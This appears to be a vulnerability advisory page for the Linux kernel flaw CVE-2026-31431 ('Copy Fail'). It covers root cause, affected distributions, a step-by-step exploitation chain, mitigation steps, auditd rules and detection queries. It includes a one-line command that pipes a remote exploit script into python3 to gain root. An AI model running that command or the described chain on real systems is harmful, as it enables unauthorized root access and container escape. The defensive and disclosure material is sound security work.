CISA Known Exploited Vulnerabilities Catalog

Copy Fail

CVE-2026-31431 — A deterministic Linux kernel privilege escalation flaw hiding in plain sight since 2017. 732 bytes of Python. One script. Every major distribution. Root in seconds.

CVSS 7.8Local Privilege EscalationActive Exploitation Confirmed

Exploit

732-byte Python PoC using only stdlib (os, socket, zlib). No compilation. No offsets. 100% reliable.

Scope

Kernels 4.14 – 6.19.12. Ubuntu, RHEL, Amazon Linux, SUSE, Debian, Arch, Fedora, Alma, Rocky, Oracle.

Stealth

Corruption lives only in RAM (page cache). On-disk file hashes remain valid. Reboot = evidence gone.

Affected Systems

If your kernel was built between 2017 and the patch, you are in scope. The kernel crypto API ships enabled in essentially every mainstream distro's default config.

Ubuntu 24.04 LTSVulnerable

6.17.0-1007-aws

Directly verified

Amazon Linux 2023Vulnerable

6.18.8-9.213.amzn2023

Directly verified

RHEL 10.1Vulnerable

6.12.0-124.45.1.el10_1

Directly verified

SUSE 16Vulnerable

6.12.0-160000.9-default

Directly verified

DebianVulnerable

Various 4.14+

All versions in range affected

Arch LinuxPatched

Various 4.14+

Patch available upstream

FedoraVulnerable

Various 4.14+

Patch in progress

AlmaLinuxVulnerable

Various 4.14+

Patch in progress

Rocky LinuxVulnerable

Various 4.14+

Patch in progress

Oracle LinuxVulnerable

Various 4.14+

Patch in progress

WSL2Vulnerable

Affected builds

Certain builds vulnerable

Embedded/IoTVulnerable

Various 4.14+

Frequently overlooked patch targets

Impact Assessment by Environment

Multi-Tenant Hosts
Critical

Shared dev boxes, shell-as-a-service, jump hosts, build servers — any user becomes root.

Kubernetes / Containers
Critical

Page cache shared across host. A pod compromises the node and crosses tenant boundaries.

CI Runners & Build Farms
Critical

GitHub Actions self-hosted runners, GitLab runners, Jenkins agents — a PR becomes root.

Cloud SaaS Platforms
High

Notebook hosts, agent sandboxes, serverless functions — tenant becomes host root.

Standard Linux Servers
Lower

Single-tenant production with only team shell access. Internal LPE; chains with web RCE or stolen creds.

Single-User Workstations
Lower

Post-exploitation step-up. Any local code execution becomes root.

Technical Deep Dive

Three independently reasonable kernel changes — 2011, 2015, and 2017 — accidentally combined to create a universal root primitive.

11
2011

authencesn Introduced

The authencesn algorithm is added to the Linux kernel for IPsec Extended Sequence Number (ESN) support. It uses the destination buffer as scratch space to rearrange sequence numbers — harmless at this point because only the internal xfrm layer calls it.

15
2015

AF_ALG Gains AEAD Support

The AF_ALG socket interface (userspace crypto API) is extended to support AEAD ciphers. authencesn is migrated to the new AEAD interface, introducing the assoclen + cryptlen offset. algif_aead still operates out-of-place, so dst remains a userspace buffer.

17
2017

The Fatal Optimization

Commit 72548b093ee3 adds an in-place optimization to algif_aead: req->src and req->dst now point to a combined scatterlist. The scratch write from authencesn now lands in page-cache pages when splice() hands them into the crypto subsystem. The bug goes unnoticed for 9 years.

26
2026

Disclosure & Patch

Theori / Xint Code discovers the flaw via AI-assisted scanning of the crypto/ subsystem. Patch committed (a664bf3d603d) reverts the in-place optimization, restoring out-of-place operation. CVE-2026-31431 assigned and publicly disclosed April 29, 2026.

The Four Bytes

During AEAD decryption, authencesn rearranges the high/low halves of a 64-bit sequence number using the destination buffer as temporary scratch space. The third scatterwalk_map_and_copy call writes 4 bytes at offset assoclen + cryptlen — past the legitimate plaintext output region. Because of the 2017 in-place optimization, this write lands inside a page-cache page of whatever file the attacker spliced in.

crypto/authencesn.c — vulnerable scratch write
scatterwalk_map_and_copy(tmp,     dst, 0,                  8, 0);
scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);   // ← THE BUG

Attacker-Controlled Parameters

Which File

Any file readable by the user, chosen via splice(). Typically /usr/bin/su.

Which Offset

Controlled via splice offset, splice length, and assoclen.

Which Value

Bytes 4–7 of the AAD (seqno_lo), supplied in sendmsg().

Why Disk Forensics Miss It

The corruption never touches disk. The on-disk /usr/bin/su remains pristine. File integrity monitors comparing hashes against a baseline see nothing wrong. When the corrupted page is evicted from memory or the system reboots, the cache reloads clean from disk — leaving no forensic trail of the compromise. Detection requires either page-cache-vs-disk divergence checks or syscall-level visibility into AF_ALG + authencesn + splice() patterns.

Exploitation Chain

A straight-line logic flaw. No race conditions. No offsets. The same 732-byte Python script works unmodified across every major Linux distribution.

1

Initial Foothold

Attacker gains unprivileged code execution. Could be a compromised CI runner, web container, stolen SSH creds, or a malicious npm postinstall hook. No root required inside the container.

2

AF_ALG Socket

Open a SOCK_SEQPACKET socket, bind to "aead" with authencesn(hmac(sha256),cbc(aes)), set a dummy key. No capability check. No compilation. No third-party libraries.

3

splice() Page Cache

splice() hands page-cache pages of /usr/bin/su directly into the crypto subsystem without copying through userspace. The same physical page backing execve() is now reachable through the pipe.

4

sendmsg() Injection

Build a sendmsg() whose AAD bytes 4–7 are the shellcode bytes to write. The authencesn scratch write fires, landing 4 controlled bytes into the cached su binary.

5

EBADMSG & Failure

The HMAC verification fails — the ciphertext is fabricated. recvmsg() returns -EBADMSG. But the 4-byte write is already done by the time the auth check runs, and it persists.

6

execve("/usr/bin/su")

Run the corrupted setuid binary. The kernel loads it from page cache — now injected with attacker shellcode — and executes as UID 0. Root achieved in under a minute.

PoC at a Glance

The published proof-of-concept is a standalone 732-byte Python 3 script using only the standard library. It targets /usr/bin/su by default; pass another setuid binary as argv[1].

Quick execution
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

SHA-256 of published PoC: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Container Escape Primitive

The page cache is a property of the host kernel, not the container. An unprivileged container process can corrupt a setuid binary in the page cache that a privileged container — or the host itself — will subsequently execute. This vulnerability is, by design, a container escape primitive. Shared-kernel multi-tenancy is not a security boundary against a kernel-grade primitive.

Threat Intelligence

Active exploitation confirmed in the wild. Multiple vendors have published detection guidance and hunting queries.

Disclosure Timeline

2026-03-23Disclosure

Reported to Linux kernel security team by Taeyang Lee (Theori) / Xint Code

2026-04-01Patch

Mainline patch committed (a664bf3d603d) — reverts 2017 in-place optimization

2026-04-22CVE

CVE-2026-31431 assigned

2026-04-29Public

Public disclosure at copy.fail; PoC published on GitHub

2026-05-01CISA

CISA issues alert and adds to KEV catalog

2026-05-04ITW

Active in-the-wild exploitation confirmed (heise.de / CISA)

2026-05-05Intel

Palo Alto Unit 42 publishes detailed analysis and hunting queries

2026-05-06Intel

Kaspersky Securelist publishes detection guidance for EDR/SIEM

Vendor Coverage

Microsoft Defender

Exploit:Linux/CopyFailExpDl.A, Exploit:Python/CopyFail.A, Behavior:Linux/CVE-2026-31431, Defender for Cloud detection

Palo Alto Unit 42

Threat analysis, Cortex XDR XQL hunting queries, Incident Response guidance

Kaspersky Securelist

Python/Go/Rust PoC detection, auditd rules, EDR Expert rules (possible_lpe_by_python, possible_copy_fail_cve_2026_31431)

Tenable

Vulnerability of Interest under Vulnerability Watch, detection plugins in pipeline

CISA

Added to Known Exploited Vulnerabilities (KEV) catalog; FCEB remediation deadline May 15, 2026

Observed Attack Chains

Server-Side Compromise → Kernel Privesc

CRITICAL

Initial RCE on internet-facing service (web app, edge appliance) → webshell/implant as service user → algif_aead primitive → root within minutes. Most common opportunistic pattern.

Container Escape

CRITICAL

Attacker lands in unprivileged container → corrupts host setuid binary in shared page cache → host or privileged container executes corrupted binary. Namespace isolation defeated by kernel primitive.

Phishing / Malware Drop

HIGH

User runs malicious attachment or script → stage-1 loader executes as unprivileged user → Copy Fail escalation → full host compromise.

Supply-Chain / CI Poisoning

CRITICAL

Malicious npm/pip package or compromised CI step embeds the 732-byte Python script in a postinstall hook → runner becomes root → supply-chain blast radius.

Mitigation Guide

Patch first. If you cannot patch immediately, disable the affected module or block AF_ALG socket creation for untrusted workloads.

Immediate: Patch Your Kernel

Update your distribution's kernel package to one that includes mainline commit a664bf3d603d. Most major distributions are shipping the fix now.

Ubuntu / Debian
sudo apt update
sudo apt install linux-image-generic
RHEL / CentOS / Rocky / Alma
sudo yum update kernel
# or
dnf update kernel
Arch Linux
sudo pacman -Syu

Interim: Disable algif_aead

If you cannot patch immediately, disable the vulnerable module. For the vast majority of systems this breaks nothing measurable.

Block and unload algif_aead
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Will not affect: dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL/GnuTLS/NSS default builds, SSH, kernel keyring crypto. May affect: userspace explicitly configured to use AF_ALG (e.g., OpenSSL with afalg engine).

Container / Runtime Mitigation

For untrusted workloads (containers, sandboxes, CI), block AF_ALG socket creation via seccomp regardless of patch state. Shared-kernel namespace isolation is not a security boundary against a kernel-grade primitive.

Docker — drop AF_ALG capability
docker run --security-opt seccomp=profile.json ...

# profile.json snippet
{
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCMP_CMP_EQ",
          "valueTwo": 38
        }
      ]
    }
  ]
}
Kubernetes — seccomp profile
apiVersion: v1
kind: Pod
metadata:
  name: restricted-pod
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/afalg-deny.json
  containers:
  - name: app
    image: app:latest

Embedded / Built-in Kernel Config

If the crypto interface is compiled into the kernel (CONFIG_CRYPTO_USER_API_AEAD=y), module removal will not work. Add the following to kernel boot parameters and reboot:

GRUB / boot parameter
initcall_blacklist=algif_aead_init

Detection & Hunting

The exploit uses only legitimate system calls, making it hard to distinguish from normal activity. Detection requires syscall-level visibility or behavioral anomaly detection.

Behavioral Indicators

Python → Shell → SUID

Any Python process that launches a shell which then executes a privileged setuid binary (su, sudo, mount, passwd, gpasswd, etc.).

Uncommon su Parent

Non-root user launching su via a parent process other than expected shells (bash, sh, zsh, ksh) or sudo/su itself.

AF_ALG + splice Sequence

Syscall sequence: socket(AF_ALG) → splice() from a setuid binary fd → sendmsg() on AF_ALG socket. Extremely anomalous.

Page Cache Divergence

Hash of running binary in memory diverges from on-disk hash. Requires kernel-level instrumentation or live memory analysis.

sh -c -- su Pattern

Command lines matching sh -c -- su, sh -c -- sudo, sh -c -- passwd, etc. Characteristic of the published PoC execution.

Module Load / Removal

Unusual rmmod algif_aead or modprobe activity combined with setuid execution shortly after.

auditd Rules

Enable syscall auditing for AF_ALG socket creation, splice() between file descriptors after reading setuid binaries, and characteristic execve patterns.

auditd.rules — Copy Fail detection
-w /usr/bin/su -p r -k copyfail_suid_read
-w /usr/bin/sudo -p r -k copyfail_suid_read
-w /usr/bin/passwd -p r -k copyfail_suid_read

-a always,exit -F arch=b64 -S splice -F auid>=1000 -F auid!=4294967295 -k copyfail_splice
-a always,exit -F arch=b32 -S splice -F auid>=1000 -F auid!=4294967295 -k copyfail_splice

-a always,exit -F arch=b64 -S socket -F a0=38 -F auid>=1000 -F auid!=4294967295 -k copyfail_afalg_socket
-a always,exit -F arch=b32 -S socket -F a0=38 -F auid>=1000 -F auid!=4294967295 -k copyfail_afalg_socket

EDR / XDR Hunting Queries

Palo Alto Cortex XDR — XQL
dataset = xdr_data
| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
    and agent_os_type = ENUM.AGENT_OS_LINUX and actor_effective_user_sid != "0"
    and action_process_image_name = "su"
    and actor_process_image_name not in ("bash", "sh", "zsh", "ksh", "sudo", "su")
| comp count() as execution_count by agent_hostname, actor_process_image_name
Kaspersky EDR Expert — Behavioral Rule
possible_copy_fail_cve_2026_31431:
  parent_process_name: python*
  child_process_name: sh, bash
  command_line_contains: "-c -- su"
  user_sid: != 0

Sigma-Style Detection Rule

copyfail_lpe.yml
title: Potential Copy Fail (CVE-2026-31431) Exploitation
status: experimental
description: Detects non-root users launching setuid binaries via unexpected parent processes, consistent with Copy Fail exploitation.
logsource:
  product: linux
  category: process_creation
detection:
  selection:
    User|endswith:
      - '1000'
      - '1001'
      - '1002'
    Image|endswith:
      - '/su'
      - '/sudo'
      - '/passwd'
      - '/gpasswd'
      - '/mount'
    ParentImage|endswith:
      - '/python'
      - '/python3'
      - '/sh'
  condition: selection
falsepositives:
  - Legitimate automation scripts running as non-root that invoke su
level: high

How Does It Compare?

Copy Fail is the third headline Linux LPE in a decade. It is not equivalent — it is strictly worse for defenders.

AttributeDirty Cow (2016)Dirty Pipe (2022)Copy Fail (2026)
CVECVE-2016-5195CVE-2022-0847CVE-2026-31431
TypeRace condition (COW)Uninitialized flag (pipe_buffer)Logic flaw (crypto scatterlist)
ReliabilityUnreliable — can panic the boxReliable but version-bound (5.8+)100% deterministic, first try
PortabilityPer-distro offsets, may touch diskVersion-bound to 5.8+One script, every distro, no recompilation
StealthDisk artifacts in many PoCsMemory-only, but pipe-basedRAM-only (page cache); no disk trace ever
Exploit SizeMultiple KBs, often compiledSmall C program732 bytes of Python stdlib
PrerequisitesLocal user, race windowLocal user, specific pipe stateLocal user, AF_ALG enabled (default)
Container EscapePossible but not inherentPossible but not inherentBy design — shared page cache across namespaces
Patch StatusPatched (2016)Patched (2022)Patch shipping (commit a664bf3d603d)

Why This Matters

Dirty Cow was a race condition — you could lose, panic the system, or leave disk artifacts. Dirty Pipe was cleaner but version-bound to 5.8+ kernels and required specific pipe state. Copy Fail has none of those frictions. It is a straight-line logic flaw: the same Python script roots a 6.12 RHEL kernel and a 6.18 Amazon Linux kernel without modification. It bypasses the VFS write path entirely, so the page is never marked dirty for writeback, the on-disk file's checksum stays valid, and any file-integrity monitor comparing hashes against a baseline will see nothing wrong. When the corrupted su is later evicted from the page cache and reloaded from disk, the corruption simply disappears — leaving no forensic trail.